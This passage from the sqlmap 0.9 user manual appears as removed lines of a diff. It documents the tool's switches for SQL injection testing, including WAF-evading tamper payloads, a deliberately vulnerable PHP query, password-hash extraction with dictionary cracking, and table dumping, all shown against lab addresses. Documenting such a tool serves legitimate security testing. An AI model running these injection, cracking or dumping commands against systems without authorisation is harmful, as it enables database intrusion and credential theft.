-    --priv-esc          Database process' user privilege escalation
-    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
-    --tmp-path=TMPPATH  Remote absolute path of temporary files directory
-
-  Windows registry access:
-    These options can be used to access the back-end database management
-    system Windows registry.
-
-    --reg-read          Read a Windows registry key value
-    --reg-add           Write a Windows registry key value data
-    --reg-del           Delete a Windows registry key value
-    --reg-key=REGKEY    Windows registry key
-    --reg-value=REGVAL  Windows registry key value
-    --reg-data=REGDATA  Windows registry key value data
-    --reg-type=REGTYPE  Windows registry key value type
-
-  General:
-    These options can be used to set some general working parameters.
-
-    -t TRAFFICFILE      Log all HTTP traffic into a textual file
-    -s SESSIONFILE      Save and resume all data retrieved on a session file
-    --flush-session     Flush session file for current target
-    --fresh-queries     Ignores query results stored in session file
-    --eta               Display for each output the estimated time of arrival
-    --update            Update sqlmap
-    --save              Save options on a configuration INI file
-    --batch             Never ask for user input, use the default behaviour
-
-  Miscellaneous:
-    --beep              Alert when sql injection found
-    --check-payload     IDS detection testing of injection payloads
-    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
-    --forms             Parse and test forms on target url
-    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
-    --mobile            Imitate smartphone through HTTP User-Agent header
-    --page-rank         Display page rank (PR) for Google dork results
-    --parse-errors      Parse DBMS error messages from response pages
-    --replicate         Replicate dumped data into a sqlite3 database
-    --tor               Use default Tor (Vidalia/Privoxy/Polipo) proxy address
-    --wizard            Simple wizard interface for beginner users
-
-
-

- - -

5.1 Output verbosity -

- -

Switch: -v

- -

This switch can be used to set the verbosity level of output messages. -There exist seven levels of verbosity. -The default level is 1 in which information, warning, error and -critical messages and Python tracebacks (if any occur) will be displayed.

-

-

    -
  • 0: Show only Python tracebacks, error and critical messages.
    • -
  • 1: Show also information and warning messages.
    • -
  • 2: Show also debug messages.
    • -
  • 3: Show also payloads injected.
    • -
  • 4: Show also HTTP requests.
    • -
  • 5: Show also HTTP responses' headers.
    • -
  • 6: Show also HTTP responses' page content.
    • -
-

- -

A reasonable level of verbosity to further understand what sqlmap does -under the hood is level 2, primarily for the detection phase and -the take-over functionalities. Whereas if you want to see the SQL payloads -the tools sends, level 3 is your best choice. -In order to further debug potential bugs or unexpected behaviours, we -recommend you to set the verbosity to level 4 or above. This -level is recommended to be used when you feed the developers with a bug -report too.

- - -

5.2 Target -

- -

At least one of these options has to be provided.

- -

Target URL

- -

Switch: -u or --url

- -

Run sqlmap against a single target URL. This switch requires an argument -which is the target URL in the form http(s)://targeturl[:port]/[...].

- -

Parse targets from Burp or WebScarab proxy logs

- -

Switch: -l

- -

Rather than providing a single target URL, it is possible to test and -inject against HTTP requests proxied through -Burp proxy or -WebScarab proxy This switch requires an argument which is the -proxy's HTTP requests log file.

- -

Load HTTP request from a file

- -

Switch: -r

- -

One of the possibilities of sqlmap is loading of complete HTTP request -from a textual file. That way you can skip usage of bunch of other -options (e.g. setting of cookies, POSTed data, etc).

- -

Sample content of a HTTP request file provided as argument to this switch:

-

-

-
-POST /sqlmap/mysql/post_int.php HTTP/1.1
-Host: 192.168.136.131
-User-Agent: Mozilla/4.0
-
-id=1
-
-
-

- -

Process Google dork results as target addresses

- -

Switch: -g

- -

It is also possible to test and inject on GET parameters on the -results of your Google dork.

- -

This option makes sqlmap negotiate with the search engine its session -cookie to be able to perform a search, then sqlmap will retrieve Google -first 100 results for the Google dork expression with GET -parameters asking you if you want to test and inject on each possible -affected URL.

- -

Load options from a configuration INI file

- -

Switch: -c

- -

It is possible to pass user's options from a configuration INI file, an -example is sqlmap.conf.

- -

Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite those provided in the -configuration file.

- - -

5.3 Request -

- -

These options can be used to specify how to connect to the target url.

- -

HTTP data

- -

Option: --data

- -

By default the HTTP method used to perform HTTP requests is GET, -but you can implicitly change it to POST by providing the data to -be sent in the POST requests. Such data, being those parameters, -are tested for SQL injection as well as any provided GET -parameters.

- - -

HTTP Cookie header

- -

Switches: --cookie, --drop-set-cookie -and --cookie-urlencode

- -

This feature can be useful in two ways:

-

-

    -
  • The web application requires authentication based upon cookies and -you have such data.
    • -
  • You want to detect and exploit SQL injection on such header values.
    • -
-

- -

Either reason brings you to need to send cookies with sqlmap requests, the -steps to go through are the following:

-

-

    -
  • Login to the application with your favourite browser.
    • -
  • Get the HTTP Cookie from the browser's preferences or from the HTTP -proxy screen and copy to the clipboard.
    • -
  • Go back to your shell and run sqlmap by pasting your clipboard as -the argument of the --cookie switch.
    • -
-

- -

Note that the HTTP Cookie header values are usually separated by -a ; character, not by an &. sqlmap can -recognize these as separate sets of parameter=value too, as well -as GET and POST parameters.

- -

If at any time during the communication, the web application responds with -Set-Cookie headers, sqlmap will automatically use its value in -all further HTTP requests as the Cookie header. sqlmap will also -automatically test those values for SQL injection. This can be avoided by -providing the switch --drop-set-cookie - sqlmap will -ignore any coming Set-Cookie header.

- -

Vice versa, if you provide a HTTP Cookie header with ---cookie switch and the target URL sends an HTTP -Set-Cookie header at any time, sqlmap will ask you which set of -cookies to use for the following HTTP requests.

- -

sqlmap by default does not URL-encode generated cookie payloads, -but you can force it by using the --cookie-urlencode -switch. Cookie content encoding is not declared by HTTP protocol standard -in any way, so it is solely the matter of web application's behaviour.

- -

Note that also the HTTP Cookie header is tested against SQL -injection if the --level is set to 2 or above. -Read below for details.

- - -

HTTP User-Agent header

- -

Switches: --user-agent and --random-agent

- -

By default sqlmap performs HTTP requests with the following User-Agent -header value:

-

-

-
-sqlmap/0.9 (http://www.sqlmap.org)
-
-
-

- -

However, it is possible to fake it with the --user-agent -switch by providing custom User-Agent as the switch argument.

- -

Moreover, by providing the --random-agent switch, sqlmap -will randomly select a User-Agent from the ./txt/user-agents.txt -textual file and use it for all HTTP requests within the session.

- -

Some sites perform a server-side check on the HTTP User-Agent -header value and fail the HTTP response if a valid User-Agent is -not provided, its value is not expected or is blacklisted by a web -application firewall or similar intrusion prevention system. In this case -sqlmap will show you a message as follows:

-

-

-
-[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to 
-force the HTTP User-Agent header with option --user-agent or --random-agent
-
-
-

- -

Note that also the HTTP User-Agent header is tested against SQL -injection if the --level is set to 3 or above. -Read below for details.

- - -

HTTP Referer header

- -

Switch: --referer

- -

It is possible to fake the HTTP Referer header value. By default -no HTTP Referer header is sent in HTTP requests if not -explicitly set.

- -

Note that also the HTTP Referer header is tested against SQL -injection if the --level is set to 3 or above. -Read below for details.

- - -

Extra HTTP headers

- -

Switch: --headers

- -

It is possible to provide extra HTTP headers by setting the ---headers switch. Each header must be separated by a -newline and it is much easier to provide them from the configuration INI -file. Have a look at the sample sqlmap.conf file for an example.

- - -

HTTP protocol authentication

- -

Switches: --auth-type and --auth-cred

- -

These options can be used to specify which HTTP protocol authentication -the web server implements and the valid credentials to be used to perform -all HTTP requests to the target application.

-

The three supported HTTP protocol authentication mechanisms are:

-

-

    -
  • Basic
    • -
  • Digest
    • -
  • NTLM
    • -
-

-

While the credentials' syntax is username:password.

- -

Example of valid syntax:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
-  --auth-type Basic --auth-cred "testuser:testpass"
-
-
-

- - -

HTTP protocol certificate authentication

- -

Switch: --auth-cert

- -

This switch should be used in cases when the web server requires proper -client-side certificate for authentication. Supplied values should be in -the form: key_file,cert_file, where key_file should be -the name of a PEM formatted file that contains your private key, while -cert_file should be the name for a PEM formatted certificate -chain file.

- - -

HTTP(S) proxy

- -

Switches: --proxy, --proxy-cred, ---ignore-proxy and --tor

- -

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) -requests to the target URL. The syntax of HTTP(S) proxy value is -http://url:port.

- -

If the HTTP(S) proxy requires authentication, you can provide the -credentials in the format username:password to the ---proxy-cred switch.

- -

If, for any reason, you need to stay anonymous, instead of passing by a -single predefined HTTP(S) proxy server, you can configure a -Tor client together with -Privoxy (or similar) on -your machine as explained on the Tor client guide and use the Privoxy -daemon, by default listening on 127.0.0.1:8118, as the sqlmap -proxy by simply providing the tool with the --tor -switch instead of --proxy.

- -

The switch --ignore-proxy should be used when you want -to run sqlmap against a target part of a local area network by ignoring -the system-wide set HTTP(S) proxy server setting.

- - -

Delay between each HTTP request

- -

Switch: --delay

- -

It is possible to specify a number of seconds to hold between each HTTP(S) -request. The valid value is a float, for instance 0.5 means half -a second. -By default, no delay is set.

- - -

Seconds to wait before timeout connection

- -

Switch: --timeout

- -

It is possible to specify a number of seconds to wait before considering -the HTTP(S) request timed out. The valid value is a float, for instance -10.5 means ten seconds and a half. -By default 30 seconds are set.

- - -

Maximum number of retries when the HTTP connection timeouts

- -

Switch: --retries

- -

It is possible to specify the maximum number of retries when the HTTP(S) -connection timeouts. By default it retries up to three times.

- - -

Filtering targets from provided proxy log using regular expression

- -

Switch: --scope

- -

Rather than using all hosts parsed from provided logs with switch --l, you can specify valid Python regular expression to be used -for filtering desired ones.

-

Example of valid syntax:

-

-

-
-$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
-
-
-

- - -

Avoid your session to be destroyed after too many unsuccessful requests

- -

Switches: --safe-url and --safe-freq

- -

Sometimes web applications or inspection technology in between destroys -the session if a certain number of unsuccessful requests is performed. -This might occur during the detection phase of sqlmap or when it exploits -any of the blind SQL injection types. Reason why is that the SQL payload -does not necessarily returns output and might therefore raise a signal to -either the application session management or the inspection technology.

- -

To bypass this limitation set by the target, you can provide two switches:

-

-

    -
  • --safe-url: Url address to visit frequently during -testing.
    • -
  • --safe-freq: Test requests between two visits to a -given safe url.
    • -
-

- -

This way, sqlmap will visit every a predefined number of requests a -certain safe URL without performing any kind of injection against -it.

- - -

5.4 Optimization -

- -

These switches can be used to optimize the performance of sqlmap.

- - -

Bundle optimization

- -

Switch: -o

- -

This switch is an alias that implicitly sets the following switches:

-

-

    -
  • --keep-alive
    • -
  • --null-connection
    • -
  • --threads 3 if not set to a higher value.
    • -
-

- -

Read below for details about each switch.

- - -

Output prediction

- -

Switch: --predict-output

- -

This switch is used in inference algorithm for sequential statistical -prediction of characters of value being retrieved. Statistical table with -the most promising character values is being built based on items given in -txt/common-outputs.txt combined with the knowledge of current -enumeration used. In case that the value can be found among the common -output values, as the process progresses, subsequent character tables are -being narrowed more and more. If used in combination with retrieval of -common DBMS entities, as with system table names and privileges, speed up -is significant. Of course, you can edit the common outputs file according -to your needs if, for instance, you notice common patterns in database -table names or similar.

- -

Note that this switch is not compatible with --threads -switch.

- - -

HTTP Keep-Alive

- -

Switch: --keep-alive

- -

This switch instructs sqlmap to use persistent HTTP(s) connections.

- -

Note that this switch is incompatible with --proxy -switch.

- - -

HTTP NULL connection

- -

Switch: --null-connection

- -

There are special HTTP request types which can be used to retrieve -HTTP response's size without getting the HTTP body. This knowledge can be -used in blind injection technique to distinguish True from -False responses. When this switch is provided, sqlmap will try to -test and exploit two different NULL connection techniques: -Range and HEAD. -If any of these is supported by the target web server, speed up will come -from the obvious saving of used bandwidth.

- -

These techniques are detailed in the white paper -Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).

- -

Note that this switch is incompatible with --text-only -switch.

- - -

Concurrent HTTP(S) requests

- -

Switch: --threads

- -

It is possible to specify the maximum number of concurrent HTTP(S) -requests that sqlmap is allowed to do. -This feature relies on the -multi-threading concept and inherits both its pro and its cons.

- -

This features applies to the brute-force switches and when the data -fetching is done through any of the blind SQL injection techniques. -For the latter case, sqlmap first calculates the length of the query -output in a single thread, then starts the multi-threading. Each thread is -assigned to retrieve one character of the query output. The thread ends -when that character is retrieved - it takes up to 7 HTTP(S) requests with -the bisection algorithm implemented in sqlmap.

- -

The maximum number of concurrent requests is set to 10 for -performance and site reliability reasons.

- -

Note that this switch is not compatible with ---predict-output switch.

- - -

5.5 Injection -

- -

These options can be used to specify which parameters to test for, provide -custom injection payloads and optional tampering scripts.

- -

Testable parameter(s)

- -

Switch: -p

- -

By default sqlmap tests all GET parameters and POST -parameters. When the value of --level is >= 2 -it tests also HTTP Cookie header values. When this value is >= -3 it tests also HTTP User-Agent and HTTP Referer -header value for SQL injections. -It is however possible to manually specify a comma-separated list of -parameter(s) that you want sqlmap to test. This will bypass the dependence -on the value of --level too.

- -

For instance, to test for GET parameter id and for HTTP -User-Agent only, provide -p id,user-agent.

- - -

URI injection point

- -

There are special cases when injection point is within the URI itself. -sqlmap does not perform any automatic test against URI paths, unless -manually pointed to. -You have to specify these injection points in the command line by -appending an asterisk (*) after each URI point that you want -sqlmap to test for and exploit a SQL injection.

- -

This is particularly useful when, for instance, Apache web server's -mod_rewrite module is in use or other similar technologies.

- -

An example of valid command line would be:

-

-

-
-$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
-
-
-

- - -

Force the database management system name

- -

Switch: --dbms

- -

By default sqlmap automatically detects the web application's back-end -database management system. -As of version 0.9, sqlmap fully supports the following database -management systems:

-

-

    -
  • MySQL
    • -
  • Oracle
    • -
  • PostgreSQL
    • -
  • Microsoft SQL Server
    • -
  • Microsoft Access
    • -
  • SQLite
    • -
  • Firebird
    • -
  • Sybase
    • -
  • SAP MaxDB
    • -
-

- -

If for any reason sqlmap fails to detect the back-end DBMS once a SQL -injection has been identified or if you want to avoid an active fingeprint, -you can provide the name of the back-end DBMS yourself (e.g. postgresql). -For MySQL and Microsoft SQL Server provide them respectively in the form -MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for -instance 5.0 for MySQL and 2005 for Microsoft SQL Server.

- -

In case you provide --fingerprint together with ---dbms, sqlmap will only perform the extensive -fingerprint for the specified database management system only, read below -for further details.

- -

Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system. If you do not know it, let sqlmap -automatically fingerprint it for you.

- - -

Force the database management system operating system name

- -

Switch: --os

- -

By default sqlmap automatically detects the web application's back-end -database management system underlying operating system when this -information is a dependence of any other provided switch. -At the moment the fully supported operating systems are two:

-

-

    -
  • Linux
    • -
  • Windows
    • -
-

- -

It is possible to force the operating system name if you already know it -so that sqlmap will avoid doing it itself.

- -

Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system underlying operating system. If you do -not know it, let sqlmap automatically identify it for you.

- - -

Custom injection payload

- -

Switches: --prefix and --suffix

- -

In some circumstances the vulnerable parameter is exploitable only if the -user provides a specific suffix to be appended to the injection payload. -Another scenario where these options come handy presents itself when the -user already knows that query syntax and want to detect and exploit the -SQL injection by directly providing a injection payload prefix and suffix.

- -

Example of vulnerable source code:

-

-

-
-$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
-
-
-

- -

To detect and exploit this SQL injection, you can either let sqlmap detect -the boundaries (as in combination of SQL payload prefix and -suffix) for you during the detection phase, or provide them on your own. -For example:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-  -p id --prefix "')" --suffix "AND ('abc'='abc"
-[...]
-
-
-

- -

This will result in all sqlmap requests to end up in a query as follows:

-

-

-
-$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
-
-
-

- -

Which makes the query syntactically correct.

- -

In this simple example, sqlmap could detect the SQL injection and exploit -it without need to provide custom boundaries, but sometimes in real world -application it is necessary to provide it when the injection point is -within nested JOIN queries for instance.

- - -

Tamper injection data

- -

Switch: --tamper

- -

sqlmap itself does no obfuscation of the payload sent, except for strings -between single quotes replaced by their CHAR()-alike -representation.

- -

This switch can be very useful and powerful in situations where there is -a weak input validation mechanism between you and the back-end database -management system. This mechanism usually is a self-developed input -validation routine called by the application source code, an expensive -enterprise-grade IPS appliance or a web application firewall (WAF). All -buzzwords to define the same concept, implemented in a different way and -costing lots of money, usually.

- -

To take advantage of this switch, provide sqlmap with a comma-separated -list of tamper scripts and this will process the payload and return it -transformed. You can define your own tamper scripts, use sqlmap ones from -the tamper/ folder or edit them as long as you concatenate them -comma-separated as the argument of --tamper switch.

- -

The format of a valid tamper script is as follows:

-

-

-
-# Needed imports
-from lib.core.enums import PRIORITY
-
-# Define which is the order of application of tamper scripts against the payload
-__priority__ = PRIORITY.NORMAL
-
-def tamper(payload):
-    '''
-    Description of your tamper script
-    '''
-
-    retVal = payload
-
-    # your code to tamper the original payload
-
-    # return the tampered payload
-    return retVal
-
-
-

- -

You can check valid and usable tamper scripts in the tamper/ -directory.

- -

Example against a MySQL target assuming that > character, -spaces and capital SELECT string are banned:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
-  tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
-
-[hh:mm:03] [DEBUG] cleaning up configuration parameters
-[hh:mm:03] [INFO] loading tamper script 'between'
-[hh:mm:03] [INFO] loading tamper script 'randomcase'
-[hh:mm:03] [INFO] loading tamper script 'space2comment'
-[...]
-[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
-[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
-[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
-[...]
-[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
-58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
-ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
-group/**/bY/**/x)a)
-[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING 
-clause' injectable 
-[...]
-
-
-

- - - -

5.6 Detection -

- -

These options can be used to specify how to parse and compare page -content from HTTP responses when using blind SQL injection technique.

- -

Level

- -

Switch: --level

- -

This switch requires an argument which specifies the level of tests to -perform. There are five levels. The default value is 1 -where limited number of tests (requests) are performed. Vice versa, level -5 will test verbosely for a much larger number of payloads and -boundaries (as in pair of SQL payload prefix and suffix). -The payloads used by sqlmap are specified in the textual file -xml/payloads.xml. Following the instructions on top of the file, -if sqlmap misses an injection, you should be able to add your own -payload(s) to test for too!

- -

Not only this switch affects which payload sqlmap tries, but also which -injection points are taken in exam: GET and POST parameters are -always tested, HTTP Cookie header values are tested from level -2 and HTTP User-Agent/Referer headers' value is tested from level -3.

- -

All in all, the harder it is to detect a SQL injection, the higher the ---level must be set.

- -

It is strongly recommended to higher this value before reporting to the -mailing list that sqlmap is not able to detect a certain injection point.

- - -

Risk

- -

Switch: --risk

- -

This switch requires an argument which specifies the risk of tests to -perform. There are four risk values. The default value is -1 which is innocuous for the majority of SQL injection points. -Risk value 2 adds to the default level the tests for heavy query -time-based SQL injections and value 3 adds also OR-based SQL -injection tests.

- -

In some instances, like a SQL injection in an UPDATE statement, -injecting an OR-based payload can lead to an update of all the -entries of the table, which is certainly not what the attacker wants. For -this reason and others this switch has been introduced: the user has -control over which payloads get tested, the user can arbitrarily choose -to use also potentially dangerous ones. -As per the previous switch, the payloads used by sqlmap are specified in -the textual file xml/payloads.xml and you are free to edit and -add your owns.

- - -

Page comparison

- -

Switches: --string, --regexp and ---text-only

- -

By default the distinction of a True query by a False -one (rough concept behind boolean-based blind SQL injection vulnerabilities) -is done by comparing the injected requests page content with the original -not injected page content. -Not always this concept works because sometimes the page content changes at -each refresh even not injecting anything, for instance when the page has a -counter, a dynamic advertisement banner or any other part of the HTML which -is rendered dynamically and might change in time not only consequently to -user's input. -To bypass this limit, sqlmap tries hard to identify these snippets of the -response bodies and deal accordingly. Sometimes it may fail, that is why -the user can provide a string (--string switch) which is -always present on the not injected page and on all True -injected query pages, but that it is not on the False ones. As -an alternative to a static string, the user can provide a regular -expression (--regexp switch).

- -

Such data is easy for an user to retrieve, simply try to inject on the -affected parameter an invalid value and compare manually the original (not -injected) page content with the injected wrong page content. -This way the distinction will be based upon string presence or regular -expression match.

- -

In cases with lot of active content (e.g. scripts, embeds, etc.) in the -HTTP responses' body, you can filter pages (--text-only -switch) just for their textual content. This way, in a good number of -cases, you can automatically tune the detection engine.

- - -

5.7 Techniques -

- -

These options can be used to tweak testing of specific SQL injection -techniques.

- - -

SQL injection techniques to test for

- -

Switch: --technique

- -

This switch can be used to specify which SQL injection type to test for. -By default sqlmap tests for all types/techniques it supports.

- -

In certain situations you may want to test only for one or few specific -types of SQL injection thought and this is where this switch comes into -play.

- -

This switch requires an argument. Such argument is a string composed by -any combination of B, E, U, S and -T characters where each letter stands for a different technique:

-

-

    -
  • B: Boolean-based blind SQL injection
    • -
  • E: Error-based SQL injection
    • -
  • U: UNION query SQL injection
    • -
  • S: Stacked queries SQL injection
    • -
  • T: Time-based blind SQL injection
    • -
-

- -

For instance, you can provide ES if you want to test for and -exploit error-based and stacked queries SQL injection types only. -The default value is BEUST.

- -

Note that the string must include stacked queries technique letter, -S, when you want to access the file system, takeover the -operating system or access Windows registry hives.

- - -

Seconds to delay the DBMS response for time-based blind SQL injection

- -

Switch: --time-sec

- -

It is possible to set the seconds to delay the response when testing for -time-based blind SQL injection, by providing the ---time-sec option followed by an integer. -By default delay is set to 5 seconds.

- - -

Number of columns in UNION query SQL injection

- -

Switch: --union-cols

- -

By default sqlmap tests for UNION query SQL injection technique using 1 to -10 columns. However, this range can be increased up to 50 columns by -providing an higher --level value. See the relevant -paragraph for details.

- -

You can manually tell sqlmap to test for this type of SQL injection with a -specific range of columns by providing the tool with the ---union-cols switch followed by a range of integers. For -instance, 12-16 means tests for UNION query SQL injection by -using 12 up to 16 columns.

- - -

Character to use to test for UNION query SQL injection

- -

Switch: --union-char

- -

By default sqlmap tests for UNION query SQL injection technique using -NULL character. However, by providing an higher ---level value sqlmap will performs tests also with a -random number because there are some corner cases where UNION query tests -with NULL fail whereas with a random integer they succeed.

- -

You can manually tell sqlmap to test for this type of SQL injection with a -specific character by providing the tool with the ---union-char switch followed by a string.

- - -

5.8 Fingerprint -

- -

Extensive database management system fingerprint

- -

Switches: -f or --fingerprint

- -

By default the web application's back-end database management system -fingerprint is handled automatically by sqlmap. -Just after the detection phase finishes and the user is eventually -prompted with a choice of which vulnerable parameter to use further on, -sqlmap fingerprints the back-end database management system and carries -on the injection by knowing which SQL syntax, dialect and queries to use -to proceed with the attack within the limits of the database architecture.

- -

If for any instance you want to perform an extensive database management -system fingerprint based on various techniques like specific SQL dialects -and inband error messages, you can provide the ---fingerprint switch. sqlmap will perform a lot more -requests and fingerprint the exact DBMS version and, where possible, -operating system, architecture and patch level.

- -

If you want the fingerprint to be even more accurate result, you can also -provide the -b or --banner switch.

- - -

5.9 Enumeration -

- -

These options can be used to enumerate the back-end database management -system information, structure and data contained in the tables. Moreover -you can run your own SQL statements.

- - -

Banner

- -

Switch: -b or --banner

- -

Most of the modern database management systems have a function and/or -an environment variable which returns the database management system -version and eventually details on its patch level, the underlying -system. Usually the function is version() and the environment -variable is @@version, but this vary depending on the target -DBMS.

- - -

Session user

- -

Switch: --current-user

- -

On the majority of modern DBMSes is possible to retrieve the database -management system's user which is effectively performing the query against -the back-end DBMS from the web application.

- - -

Current database

- -

Switch: --current-db

- -

It is possible to retrieve the database management system's database name -that the web application is connected to.

- - -

Detect whether or not the session user is a database administrator

- -

Switch: --is-dba

- -

It is possible to detect if the current database management system session -user is a database administrator, also known as DBA. -sqlmap will return True if it is, viceversa False.

- - -

List database management system users

- -

Switch: --users

- -

When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the list of -users.

- - -

List and crack database management system users password hashes

- -

Switches: --passwords and -U

- -

When the session user has read access to the system table containing -information about the DBMS users' passwords, it is possible to enumerate -the password hashes for each database management system user. -sqlmap will first enumerate the users, then the different password hashes -for each of them.

- -

Example against a PostgreSQL target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
-
-[...]
-back-end DBMS: PostgreSQL
-[hh:mm:38] [INFO] fetching database users password hashes
-do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
-[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
-what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] 
-[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
-do you want to use common password suffixes? (slow!) [y/N] n
-[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
-[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
-[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
-database management system users password hashes:
-[*] postgres [1]:
-    password hash: md5d7d880f96044b72d0bba108ace96d1e4
-    clear-text password: testpass
-[*] testuser [1]:
-    password hash: md599e5ea7a6f7c3269995cba3927fd0093
-    clear-text password: testpass
-
-
-

- -

Not only sqlmap enumerated the DBMS users and their passwords, but it also -recognized the hash format to be PostgreSQL, asked the user whether or not -to test the hashes against a dictionary file and identified the clear-text -password for the postgres user, which is usually a DBA along the -other user, testuser, password.

- -

This feature has been implemented for all DBMS where it is possible to -enumerate users' password hashes, including Oracle and Microsoft SQL -Server pre and post 2005.

- -

You can also provide the -U option to specify the specific user -who you want to enumerate and eventually crack the password hash(es). -If you provide CU as username it will consider it as an alias for -current user and will retrieve the password hash(es) for this user.

- - -

List database management system users privileges

- -

Switches: --privileges and -U

- -

When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -privileges for each database management system user. -By the privileges, sqlmap will also show you which are database -administrators.

- -

You can also provide the -U option to specify the user who you -want to enumerate the privileges.

- -

If you provide CU as username it will consider it as an alias for -current user and will enumerate the privileges for this user.

- -

On Microsoft SQL Server, this feature will display you whether or not each -user is a database administrator rather than the list of privileges for -all users.

- - -

List database management system users roles

- -

Switches: --roles and -U

- -

When the session user has read access to the system table containing -information about the DBMS users, it is possible to enumerate the -roles for each database management system user.

- -

You can also provide the -U option to specify the user who you -want to enumerate the privileges.

- -

If you provide CU as username it will consider it as an alias for -current user and will enumerate the privileges for this user.

- -

This feature is only available when the DBMS is Oracle.

- - -

List database management system's databases

- -

Switch: --dbs

- -

When the session user has read access to the system table containing -information about available databases, it is possible to enumerate the -list of databases.

- - -

Enumerate database's tables

- -

Switches: --tables, -D and ---exclude-sysdbs

- -

When the session user has read access to the system table containing -information about databases' tables, it is possible to enumerate -the list of tables for a specific database management system's databases.

- -

If you do not provide a specific database with switch -D, sqlmap -will enumerate the tables for all DBMS databases.

- -

You can also provide the --exclude-sysdbs switch to -exclude all system databases.

- -

Note that on Oracle you have to provide the TABLESPACE_NAME -instead of the database name.

- - -

Enumerate database table columns

- -

Switches: --columns, -C, -T and -D

- -

When the session user has read access to the system table containing -information about database's tables, it is possible to enumerate the list -of columns for a specific database table. -sqlmap also enumerates the data-type for each column.

- -

This feature depends on the option -T to specify the table name -and optionally on -D to specify the database name. When the -database name is not specified, the current database name is used. -You can also provide the -C option to specify the table columns -name like the one you provided to be enumerated.

- -

Example against a SQLite target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns \
-  -D testdb -T users -C name
-[...]
-Database: SQLite_masterdb
-Table: users
-[3 columns]
-+---------+---------+
-| Column  | Type    |
-+---------+---------+
-| id      | INTEGER |
-| name    | TEXT    |
-| surname | TEXT    |
-+---------+---------+
-
-
-

- -

Note that on PostgreSQL you have to provide public or the -name of a system database. That's because it is not possible to enumerate -other databases tables, only the tables under the schema that the web -application's user is connected to, which is always aliased by -public.

- - -

Enumerate database management system schema

- -

Switches: --schema

- -

TODO

- - -

Retrieve number of entries for table(s)

- -

Switches: --count

- -

TODO

- - -

Dump database table entries

- -

Switches: --dump, -C, -T, -D, ---start, --stop, --first -and --last

- -

When the session user has read access to a specific database's table it is -possible to dump the table entries.

- -

This functionality depends on switch -T to specify the table -name and optionally on switch -D to specify the database name. -If the table name is provided, but the database name is not, the current -database name is used.

- -

Example against a Firebird target:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
-[...]
-Database: Firebird_masterdb
-Table: USERS
-[4 entries]
-+----+--------+------------+
-| ID | NAME   | SURNAME    |
-+----+--------+------------+
-| 1  | luther | blisset    |
-| 2  | fluffy | bunny      |
-| 3  | wu     | ming       |
-| 4  | NULL   | nameisnull |
-+----+--------+------------+
-
-
-

- -

This switch can also be used to dump all tables' entries of a provided -database. You simply have to provide sqlmap with the --dump -switch along with only the -D switch, no -T and no --C.

- -

You can also provide a comma-separated list of the specific columns to -dump with the -C switch.

- -

sqlmap also generates for each table dumped the entries in a CSV format -textual file. -You can see the absolute path where sqlmap creates the file by providing a -verbosity level greater than or equal to 1.

- -

If you want to dump only a range of entries, then you can provide switches ---start and/or --stop to respectively -start to dump from a certain entry and stop the dump at a certain entry. -For instance, if you want to dump only the first entry, provide ---stop 1 in your command line. Vice versa if, for -instance, you want to dump only the second and third entry, provide ---start 1 --stop 3.

- -

It is also possible to specify which single character or range of characters -to dump with switches --first and --last. -For instance, if you want to dump columns' entries from the third to the -fifth character, provide --first 3 --last -5. -This feature only applies to the blind SQL injection techniques because for -error-based and UNION query SQL injection techniques the number of requests -is exactly the same, regardless of the length of the column's entry output -to dump.

- -

As you may have noticed by now, sqlmap is flexible: you can leave -it to automatically dump the whole database table or you can be very -precise in which characters to dump, from which columns and which range of -entries.

- - -

Dump all databases tables entries

- -

Switches: --dump-all and --exclude-sysdbs

- -

